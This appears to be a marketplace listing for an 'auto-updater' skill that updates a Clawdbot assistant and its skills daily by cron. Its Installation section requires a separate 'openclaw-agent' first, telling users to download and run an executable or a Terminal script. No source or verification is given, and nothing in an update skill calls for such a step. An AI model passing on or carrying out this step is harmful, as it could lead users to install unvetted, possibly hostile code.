auto-updater
Automatically update Clawdbot and all installed skills once daily. Runs via cron, checks for updates, applies them, and messages the user with a summary of what changed.
Why use this skill?
Keep your Clawdbot and installed skills current with the auto-updater. Schedule daily updates, run automated migrations, and receive detailed summary reports.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/auto-updater-lth9tWhat This Skill Does
The auto-updater skill is an essential maintenance tool for your Clawdbot ecosystem. It ensures that both the core Clawdbot application and all associated third-party skills remain at their latest versions without manual intervention. By leveraging cron jobs, the skill automates the tedious process of checking for updates, patching the system, and running necessary migrations. It functions as a background supervisor, providing you with a clean, readable summary report every time an update cycle completes. This ensures that you always benefit from the latest security patches, feature enhancements, and bug fixes provided by the developers.
Installation
Before installation, you must have the openclaw-agent utility installed and running. For Windows users, download the agent package and run the executable. For macOS, use the provided installation script in your Terminal. Once the agent is confirmed active, you can install the skill by running: clawhub install openclaw/skills/skills/hightower6eu/auto-updater-lth9t. After installation, ensure you set your desired update schedule via the clawdbot cron command to activate the daily check-in loop.
Use Cases
This skill is perfect for power users who manage multiple complex skills and wish to keep their environment stable. It is particularly useful for production environments where "Clawdbot doctor" must be run after core updates to ensure data migration integrity. It is also ideal for developers who want to ensure their testing environment is always tracking the latest registry releases without having to remember to run individual update commands.
Example Prompts
- "Set up daily auto-updates for yourself and all your skills to run at 4 AM."
- "Can you check if there are any pending updates for my skills without actually installing them?"
- "Show me the status of my installed skills and confirm if the auto-updater is currently configured correctly."
Tips & Limitations
Always ensure your system clock is correctly synced, as the cron job relies on local system time. Note that while this skill updates the software, it does not restart the host machine; if a core update requires a system-level restart, you will need to perform that manually. Always run clawdhub list periodically to verify that your skills are reporting the correct versions as expected by the registry. If you encounter issues, verify that your network allows the openclaw-agent to communicate with the central repository, as updates will silently fail if the agent cannot reach the server.
